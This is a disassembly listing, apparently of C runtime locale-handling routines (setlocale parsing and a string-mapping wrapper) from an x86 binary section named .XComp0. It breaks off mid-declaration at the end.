jnz short loc_430A79 mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jz short loc_430A79 cmp dword ptr [ebp-4], 0 jz short loc_430A72 push 13h call sub_425A30 add esp, 4 mov edx, dword_4E96A4 sub edx, 1 mov dword_4E96A4, edx loc_430A72: ; CODE XREF: .XComp0:00430A57j xor eax, eax jmp loc_430C4B ; --------------------------------------------------------------------------- loc_430A79: ; CODE XREF: .XComp0:00430A43j ; .XComp0:00430A51j cmp dword ptr [ebp-10h], 5 jg short loc_430ACA mov eax, [ebp-0A4h] push eax mov ecx, [ebp-0A0h] push ecx lea edx, [ebp-98h] push edx call sub_421470 add esp, 0Ch mov eax, [ebp-0A4h] mov byte ptr [ebp+eax-98h], 0 lea ecx, [ebp-98h] push ecx mov edx, [ebp-10h] push edx call sub_430C50 add esp, 8 test eax, eax jz short loc_430ACA mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_430ACA: ; CODE XREF: .XComp0:00430A7Dj ; .XComp0:00430ABFj mov ecx, [ebp-0A0h] add ecx, [ebp-0A4h] mov [ebp-9Ch], ecx mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jz short loc_430AF8 mov ecx, [ebp-9Ch] add ecx, 1 mov [ebp-9Ch], ecx loc_430AF8: ; CODE XREF: .XComp0:00430AE7j mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jnz loc_430941 cmp dword ptr [ebp-0Ch], 0 jz short loc_430B1C call sub_430DF0 mov [ebp-0ACh], eax jmp short loc_430B26 ; --------------------------------------------------------------------------- loc_430B1C: ; CODE XREF: .XComp0:00430B0Dj mov dword ptr [ebp-0ACh], 0 loc_430B26: ; CODE XREF: .XComp0:00430B1Aj mov ecx, [ebp-0ACh] mov [ebp-8], ecx jmp loc_430C21 ; --------------------------------------------------------------------------- loc_430B34: ; CODE XREF: .XComp0:00430912j ; .XComp0:00430922j ... mov edx, [ebp+8] push edx push 0 push 0 lea eax, [ebp-98h] push eax mov ecx, [ebp+0Ch] push ecx call sub_430EF0 add esp, 14h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_430C21 mov dword ptr [ebp-10h], 0 jmp short loc_430B6E ; --------------------------------------------------------------------------- loc_430B65: ; CODE XREF: .XComp0:loc_430BCEj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_430B6E: ; CODE XREF: .XComp0:00430B63j cmp dword ptr [ebp-10h], 5 jg short loc_430BD0 cmp dword ptr [ebp-10h], 0 jz short loc_430BCE mov eax, [ebp-10h] imul eax, 0Ch mov ecx, dword_4529D4[eax] push ecx lea edx, [ebp-98h] push edx call sub_422740 add esp, 8 test eax, eax jz short loc_430BC5 lea eax, [ebp-98h] push eax mov ecx, [ebp-10h] push ecx call sub_430C50 add esp, 8 test eax, eax jz short loc_430BBC mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx jmp short loc_430BC3 ; --------------------------------------------------------------------------- loc_430BBC: ; CODE XREF: .XComp0:00430BAFj mov dword ptr [ebp-14h], 0 loc_430BC3: ; CODE XREF: .XComp0:00430BBAj jmp short loc_430BCE ; --------------------------------------------------------------------------- loc_430BC5: ; CODE XREF: .XComp0:00430B98j mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_430BCE: ; CODE XREF: .XComp0:00430B78j ; .XComp0:loc_430BC3j jmp short loc_430B65 ; --------------------------------------------------------------------------- loc_430BD0: ; CODE XREF: .XComp0:00430B72j cmp dword ptr [ebp-14h], 0 jz short loc_430BFB call sub_430DF0 mov [ebp-8], eax push 2 mov ecx, dword_4529D4 push ecx call sub_41F970 add esp, 8 mov dword_4529D4, 0 jmp short loc_430C21 ; --------------------------------------------------------------------------- loc_430BFB: ; CODE XREF: .XComp0:00430BD4j cmp dword ptr [ebp-0Ch], 0 jz short loc_430C0E call sub_430DF0 mov [ebp-0B0h], eax jmp short loc_430C18 ; --------------------------------------------------------------------------- loc_430C0E: ; CODE XREF: .XComp0:00430BFFj mov dword ptr [ebp-0B0h], 0 loc_430C18: ; CODE XREF: .XComp0:00430C0Cj mov edx, [ebp-0B0h] mov [ebp-8], edx loc_430C21: ; CODE XREF: .XComp0:00430B2Fj ; .XComp0:00430B56j ... jmp short loc_430C2B ; --------------------------------------------------------------------------- loc_430C23: ; CODE XREF: .XComp0:00430903j call sub_430DF0 mov [ebp-8], eax loc_430C2B: ; CODE XREF: .XComp0:004308ECj ; .XComp0:loc_430C21j cmp dword ptr [ebp-4], 0 jz short loc_430C48 push 13h call sub_425A30 add esp, 4 mov eax, dword_4E96A4 sub eax, 1 mov dword_4E96A4, eax loc_430C48: ; CODE XREF: .XComp0:00430C2Fj mov eax, [ebp-8] loc_430C4B: ; CODE XREF: .XComp0:00430877j ; .XComp0:004309AEj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430C50 proc near ; CODE XREF: .XComp0:004308C1p ; .XComp0:00430AB5p ... var_A8 = dword ptr -0A8h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_A0] push ecx lea edx, [ebp+var_A8] push edx lea eax, [ebp+var_9C] push eax mov ecx, [ebp+arg_4] push ecx call sub_430EF0 add esp, 14h test eax, eax jnz short loc_430C89 xor eax, eax jmp loc_430DDF ; --------------------------------------------------------------------------- loc_430C89: ; CODE XREF: sub_430C50+30j push 132h push offset aSetlocal_c ; "setlocal.c" push 2 lea edx, [ebp+var_9C] push edx call sub_41EBD0 add esp, 4 add eax, 1 push eax call sub_41EDD0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_430CC0 xor eax, eax jmp loc_430DDF ; --------------------------------------------------------------------------- loc_430CC0: ; CODE XREF: sub_430C50+67j mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, dword_4529D4[eax] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, dword_4E92DC[edx*4] mov [ebp+var_4], eax push 6 mov ecx, [ebp+arg_0] imul ecx, 6 add ecx, offset dword_4E9454 push ecx lea edx, [ebp+var_14] push edx call sub_422B50 add esp, 0Ch mov eax, dword_4E92F4 mov [ebp+var_18], eax lea ecx, [ebp+var_9C] push ecx mov edx, [ebp+var_8] push edx call sub_422580 add esp, 8 mov ecx, [ebp+arg_0] imul ecx, 0Ch mov dword_4529D4[ecx], eax mov edx, [ebp+var_A8] and edx, 0FFFFh mov eax, [ebp+arg_0] mov dword_4E92DC[eax*4], edx push 6 lea ecx, [ebp+var_A8] push ecx mov edx, [ebp+arg_0] imul edx, 6 add edx, offset dword_4E9454 push edx call sub_422B50 add esp, 0Ch cmp [ebp+arg_0], 2 jnz short loc_430D63 mov eax, [ebp+var_A0] mov dword_4E92F4, eax loc_430D63: ; CODE XREF: sub_430C50+106j cmp [ebp+arg_0], 1 jnz short loc_430D75 mov ecx, [ebp+var_A0] mov dword_4E92F8, ecx loc_430D75: ; CODE XREF: sub_430C50+117j mov edx, [ebp+arg_0] imul edx, 0Ch call off_4529D8[edx] test eax, eax jz short loc_430DBC mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, [ebp+var_C] mov dword_4529D4[eax], ecx push 2 mov edx, [ebp+var_8] push edx call sub_41F970 add esp, 8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_4E92DC[eax*4], ecx mov edx, [ebp+var_18] mov dword_4E92F4, edx xor eax, eax jmp short loc_430DDF ; --------------------------------------------------------------------------- loc_430DBC: ; CODE XREF: sub_430C50+133j cmp [ebp+var_C], offset dword_4528C4 jz short loc_430DD3 push 2 mov eax, [ebp+var_C] push eax call sub_41F970 add esp, 8 loc_430DD3: ; CODE XREF: sub_430C50+173j mov ecx, [ebp+arg_0] imul ecx, 0Ch mov eax, dword_4529D4[ecx] loc_430DDF: ; CODE XREF: sub_430C50+34j ; sub_430C50+6Bj ... mov esp, ebp pop ebp retn sub_430C50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430DF0 proc near ; CODE XREF: .XComp0:00430B0Fp ; .XComp0:00430BD6p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 1 cmp dword_4529D4, 0 jnz short loc_430E24 push 167h push offset aSetlocal_c ; "setlocal.c" push 2 push 351h call sub_41EDD0 add esp, 10h mov dword_4529D4, eax loc_430E24: ; CODE XREF: sub_430DF0+14j mov eax, dword_4529D4 mov byte ptr [eax], 0 mov [ebp+var_4], 1 jmp short loc_430E3E ; --------------------------------------------------------------------------- loc_430E35: ; CODE XREF: sub_430DF0:loc_430EE7j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_430E3E: ; CODE XREF: sub_430DF0+43j mov edx, [ebp+var_4] imul edx, 0Ch mov eax, dword_4529D4[edx] push eax push offset asc_43F37C ; "=" mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, off_4529D0[ecx] push edx push 3 mov eax, dword_4529D4 push eax call sub_431090 add esp, 14h cmp [ebp+var_4], 5 jge short loc_430EB9 push offset asc_43F368 ; ";" mov ecx, dword_4529D4 push ecx call sub_422590 add esp, 8 mov edx, [ebp+var_4] add edx, 1 imul edx, 0Ch mov eax, dword_4529D4[edx] push eax mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, dword_4529D4[ecx] push edx call sub_422740 add esp, 8 test eax, eax jz short loc_430EB7 mov [ebp+var_8], 0 loc_430EB7: ; CODE XREF: sub_430DF0+BEj jmp short loc_430EE7 ; --------------------------------------------------------------------------- loc_430EB9: ; CODE XREF: sub_430DF0+81j cmp [ebp+var_8], 0 jnz short loc_430EC6 mov eax, dword_4529D4 jmp short loc_430EEC ; --------------------------------------------------------------------------- loc_430EC6: ; CODE XREF: sub_430DF0+CDj push 2 mov eax, dword_4529D4 push eax call sub_41F970 add esp, 8 mov dword_4529D4, 0 mov eax, off_4529EC jmp short loc_430EEC ; --------------------------------------------------------------------------- loc_430EE7: ; CODE XREF: sub_430DF0:loc_430EB7j jmp loc_430E35 ; --------------------------------------------------------------------------- loc_430EEC: ; CODE XREF: sub_430DF0+D4j ; sub_430DF0+F5j mov esp, ebp pop ebp retn sub_430DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430EF0 proc near ; CODE XREF: .XComp0:00430B47p ; sub_430C50+26p var_88 = byte ptr -88h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 88h cmp [ebp+arg_0], 0 jnz short loc_430F06 xor eax, eax jmp loc_431070 ; --------------------------------------------------------------------------- loc_430F06: ; CODE XREF: sub_430EF0+Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 43h jnz short loc_430F60 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] test eax, eax jnz short loc_430F60 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 43h mov edx, [ebp+arg_4] mov byte ptr [edx+1], 0 cmp [ebp+arg_8], 0 jz short loc_430F49 mov eax, [ebp+arg_8] mov word ptr [eax], 0 mov ecx, [ebp+arg_8] mov word ptr [ecx+2], 0 mov edx, [ebp+arg_8] mov word ptr [edx+4], 0 loc_430F49: ; CODE XREF: sub_430EF0+3Dj cmp [ebp+arg_C], 0 jz short loc_430F58 mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_430F58: ; CODE XREF: sub_430EF0+5Dj mov eax, [ebp+arg_4] jmp loc_431070 ; --------------------------------------------------------------------------- loc_430F60: ; CODE XREF: sub_430EF0+1Fj ; sub_430EF0+2Aj mov ecx, [ebp+arg_0] push ecx push offset dword_45294C call sub_422740 add esp, 8 test eax, eax jz loc_431028 mov edx, [ebp+arg_0] push edx push offset dword_4528C8 call sub_422740 add esp, 8 test eax, eax jz loc_431028 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_88] push ecx call sub_4310E0 add esp, 8 test eax, eax jz short loc_430FB0 xor eax, eax jmp loc_431070 ; --------------------------------------------------------------------------- loc_430FB0: ; CODE XREF: sub_430EF0+B7j lea edx, [ebp+var_88] push edx push offset dword_4E92D0 lea eax, [ebp+var_88] push eax call sub_436FC0 add esp, 0Ch test eax, eax jnz short loc_430FD6 xor eax, eax jmp loc_431070 ; --------------------------------------------------------------------------- loc_430FD6: ; CODE XREF: sub_430EF0+DDj xor ecx, ecx mov cx, word_4E92D4 mov dword_4E92D8, ecx lea edx, [ebp+var_88] push edx push offset dword_45294C call sub_431240 add esp, 8 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_431016 mov edx, [ebp+arg_0] push edx push offset dword_4528C8 call sub_422580 add esp, 8 jmp short loc_431028 ; --------------------------------------------------------------------------- loc_431016: ; CODE XREF: sub_430EF0+111j push offset dword_45294C push offset dword_4528C8 call sub_422580 add esp, 8 loc_431028: ; CODE XREF: sub_430EF0+83j ; sub_430EF0+9Cj ... cmp [ebp+arg_8], 0 jz short loc_431041 push 6 push offset dword_4E92D0 mov eax, [ebp+arg_8] push eax call sub_422B50 add esp, 0Ch loc_431041: ; CODE XREF: sub_430EF0+13Cj cmp [ebp+arg_C], 0 jz short loc_43105A push 4 push offset dword_4E92D8 mov ecx, [ebp+arg_C] push ecx call sub_422B50 add esp, 0Ch loc_43105A: ; CODE XREF: sub_430EF0+155j push offset dword_45294C mov edx, [ebp+arg_4] push edx call sub_422580 add esp, 8 mov eax, offset dword_45294C loc_431070: ; CODE XREF: sub_430EF0+11j ; sub_430EF0+6Bj ... mov esp, ebp pop ebp retn sub_430EF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431080 proc near ; CODE XREF: sub_430C50+12Bp ; DATA XREF: .XComp0:off_4529D8o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_431080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431090 proc near ; CODE XREF: sub_430DF0+75p ; sub_431240+30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+arg_8] mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_4310AE ; --------------------------------------------------------------------------- loc_4310A5: ; CODE XREF: sub_431090+42j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4310AE: ; CODE XREF: sub_431090+13j mov edx, [ebp+var_8] cmp edx, [ebp+arg_4] jge short loc_4310D4 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx-4] push edx mov eax, [ebp+arg_0] push eax call sub_422590 add esp, 8 jmp short loc_4310A5 ; --------------------------------------------------------------------------- loc_4310D4: ; CODE XREF: sub_431090+24j mov [ebp+var_4], 0 mov esp, ebp pop ebp retn sub_431090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4310E0 proc near ; CODE XREF: sub_430EF0+ADp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 88h push 0 mov eax, [ebp+arg_0] push eax call sub_421410 add esp, 0Ch mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_43110A xor eax, eax jmp loc_431239 ; --------------------------------------------------------------------------- loc_43110A: ; CODE XREF: sub_4310E0+21j mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_431140 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] test eax, eax jz short loc_431140 mov ecx, [ebp+arg_4] add ecx, 1 push ecx mov edx, [ebp+arg_0] add edx, 80h push edx call sub_422580 add esp, 8 xor eax, eax jmp loc_431239 ; --------------------------------------------------------------------------- loc_431140: ; CODE XREF: sub_4310E0+33j ; sub_4310E0+3Ej mov [ebp+var_4], 0 jmp short loc_431152 ; --------------------------------------------------------------------------- loc_431149: ; CODE XREF: sub_4310E0+152j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_431152: ; CODE XREF: sub_4310E0+67j push offset a___0 ; "_.," mov ecx, [ebp+arg_4] push ecx call sub_436F40 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_431174 or eax, 0FFFFFFFFh jmp loc_431239 ; --------------------------------------------------------------------------- loc_431174: ; CODE XREF: sub_4310E0+8Aj mov edx, [ebp+arg_4] add edx, [ebp+var_C] mov al, [edx] mov [ebp+var_8], al cmp [ebp+var_4], 0 jnz short loc_4311AA cmp [ebp+var_C], 40h jge short loc_4311AA movsx ecx, [ebp+var_8] cmp ecx, 2Eh jz short loc_4311AA mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_421470 add esp, 0Ch jmp short loc_431210 ; --------------------------------------------------------------------------- loc_4311AA: ; CODE XREF: sub_4310E0+A3j ; sub_4310E0+A9j ... cmp [ebp+var_4], 1 jnz short loc_4311D8 cmp [ebp+var_C], 40h jge short loc_4311D8 movsx edx, [ebp+var_8] cmp edx, 5Fh jz short loc_4311D8 mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] add edx, 40h push edx call sub_421470 add esp, 0Ch jmp short loc_431210 ; --------------------------------------------------------------------------- loc_4311D8: ; CODE XREF: sub_4310E0+CEj ; sub_4310E0+D4j ... cmp [ebp+var_4], 2 jnz short loc_43120B movsx eax, [ebp+var_8] test eax, eax jz short loc_4311EF movsx ecx, [ebp+var_8] cmp ecx, 2Ch jnz short loc_43120B loc_4311EF: ; CODE XREF: sub_4310E0+104j mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] add ecx, 80h push ecx call sub_421470 add esp, 0Ch jmp short loc_431210 ; --------------------------------------------------------------------------- loc_43120B: ; CODE XREF: sub_4310E0+FCj ; sub_4310E0+10Dj or eax, 0FFFFFFFFh jmp short loc_431239 ; --------------------------------------------------------------------------- loc_431210: ; CODE XREF: sub_4310E0+C8j ; sub_4310E0+F6j ... movsx edx, [ebp+var_8] cmp edx, 2Ch jnz short loc_43121B jmp short loc_431237 ; --------------------------------------------------------------------------- loc_43121B: ; CODE XREF: sub_4310E0+137j movsx eax, [ebp+var_8] test eax, eax jnz short loc_431225 jmp short loc_431237 ; --------------------------------------------------------------------------- loc_431225: ; CODE XREF: sub_4310E0+141j mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] lea eax, [edx+ecx+1] mov [ebp+arg_4], eax jmp loc_431149 ; --------------------------------------------------------------------------- loc_431237: ; CODE XREF: sub_4310E0+139j ; sub_4310E0+143j xor eax, eax loc_431239: ; CODE XREF: sub_4310E0+25j ; sub_4310E0+5Bj ... mov esp, ebp pop ebp retn sub_4310E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431240 proc near ; CODE XREF: sub_430EF0+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_422580 add esp, 8 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+40h] test eax, eax jz short loc_431278 mov ecx, [ebp+arg_4] add ecx, 40h push ecx push offset a__2 ; "_" push 2 mov edx, [ebp+arg_0] push edx call sub_431090 add esp, 10h loc_431278: ; CODE XREF: sub_431240+1Cj mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+80h] test ecx, ecx jz short loc_4312A3 mov edx, [ebp+arg_4] add edx, 80h push edx push offset a__1 ; "." push 2 mov eax, [ebp+arg_0] push eax call sub_431090 add esp, 10h loc_4312A3: ; CODE XREF: sub_431240+44j pop ebp retn sub_431240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4312B0 proc near ; CODE XREF: sub_424440+EBp ; sub_42BCB0+121p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43F398 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4E92FC, 0 jnz short loc_431336 push 0 push 0 push 1 push offset dword_43F390 push 100h push 0 nop call near ptr 29D0000h test eax, eax jz short loc_431307 mov dword_4E92FC, 1 jmp short loc_431336 ; --------------------------------------------------------------------------- loc_431307: ; CODE XREF: sub_4312B0+49j push 0 push 0 push 1 push offset dword_43F38C push 100h push 0 nop call near ptr 29C0000h test eax, eax jz short loc_43132F mov dword_4E92FC, 2 jmp short loc_431336 ; --------------------------------------------------------------------------- loc_43132F: ; CODE XREF: sub_4312B0+71j xor eax, eax jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_431336: ; CODE XREF: sub_4312B0+2Dj ; sub_4312B0+55j ... cmp [ebp+arg_C], 0 jle short loc_43134F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_4315C0 add esp, 8 mov [ebp+arg_C], eax loc_43134F: ; CODE XREF: sub_4312B0+8Aj cmp dword_4E92FC, 2 jnz short loc_43137B mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 29C0000h jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_43137B: ; CODE XREF: sub_4312B0+A6j cmp dword_4E92FC, 1 jnz loc_43159F cmp [ebp+arg_18], 0 jnz short loc_431397 mov edx, dword_4E92F4 mov [ebp+arg_18], edx loc_431397: ; CODE XREF: sub_4312B0+DCj push 0 push 0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_1C] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_18] push eax nop call near ptr 28F0000h mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4313CB xor eax, eax jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_4313CB: ; CODE XREF: sub_4312B0+112j mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43140D ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43140D: ; CODE XREF: sub_4312B0+144j cmp [ebp+var_24], 0 jnz short loc_43141A xor eax, eax jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_43141A: ; CODE XREF: sub_4312B0+161j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax nop call near ptr 28F0000h test eax, eax jnz short loc_431441 xor eax, eax jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_431441: ; CODE XREF: sub_4312B0+188j push 0 push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx nop call near ptr 29D0000h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_43146B xor eax, eax jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_43146B: ; CODE XREF: sub_4312B0+1B2j mov edx, [ebp+arg_4] and edx, 400h test edx, edx jz short loc_4314BB cmp [ebp+arg_14], 0 jz short loc_4314B6 mov eax, [ebp+var_28] cmp eax, [ebp+arg_14] jle short loc_43148D xor eax, eax jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_43148D: ; CODE XREF: sub_4312B0+1D4j mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call near ptr 29D0000h nop test eax, eax jnz short loc_4314B6 xor eax, eax jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_4314B6: ; CODE XREF: sub_4312B0+1CCj ; sub_4312B0+1FDj jmp loc_43159A ; --------------------------------------------------------------------------- loc_4314BB: ; CODE XREF: sub_4312B0+1C6j mov ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov [ebp+var_4], 1 mov eax, [ebp+var_2C] shl eax, 1 add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_34], esp mov [ebp+var_18], esp mov edx, [ebp+var_34] mov [ebp+var_20], edx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_431503 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_431503: ; CODE XREF: sub_4312B0+23Aj cmp [ebp+var_20], 0 jnz short loc_431510 xor eax, eax jmp loc_4315A1 ; --------------------------------------------------------------------------- loc_431510: ; CODE XREF: sub_4312B0+257j mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 29D0000h test eax, eax jnz short loc_431536 xor eax, eax jmp short loc_4315A1 ; --------------------------------------------------------------------------- loc_431536: ; CODE XREF: sub_4312B0+280j cmp [ebp+arg_14], 0 jnz short loc_43156A push 0 push 0 push 0 push 0 mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_18] push edx nop call near ptr 28E1569h mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_431568 xor eax, eax jmp short loc_4315A1 ; --------------------------------------------------------------------------- loc_431568: ; CODE XREF: sub_4312B0+2B2j jmp short loc_43159A ; --------------------------------------------------------------------------- loc_43156A: ; CODE XREF: sub_4312B0+28Aj push 0 push 0 mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_18] push ecx call near ptr 28E1569h nop mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_43159A xor eax, eax jmp short loc_4315A1 ; --------------------------------------------------------------------------- loc_43159A: ; CODE XREF: sub_4312B0:loc_4314B6j ; sub_4312B0:loc_431568j ... mov eax, [ebp+var_28] jmp short loc_4315A1 ; --------------------------------------------------------------------------- loc_43159F: ; CODE XREF: sub_4312B0+D2j xor eax, eax loc_4315A1: ; CODE XREF: sub_4312B0+81j ; sub_4312B0+C6j ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4312B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4315C0 proc near ; CODE XREF: sub_4312B0+94p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_4315D2: ; CODE XREF: sub_4315C0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_4315F7 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4315F7 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_4315D2 ; --------------------------------------------------------------------------- loc_4315F7: ; CODE XREF: sub_4315C0+20j ; sub_4315C0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_431609 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_43160C ; --------------------------------------------------------------------------- loc_431609: ; CODE XREF: sub_4315C0+3Fj mov eax, [ebp+arg_4] loc_43160C: ; CODE XREF: sub_4315C0+47j mov esp, ebp pop ebp retn sub_4315C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431610 proc near ; CODE XREF: .XComp0:00424954p var_18 = dword ptr -18h var_14 = dword 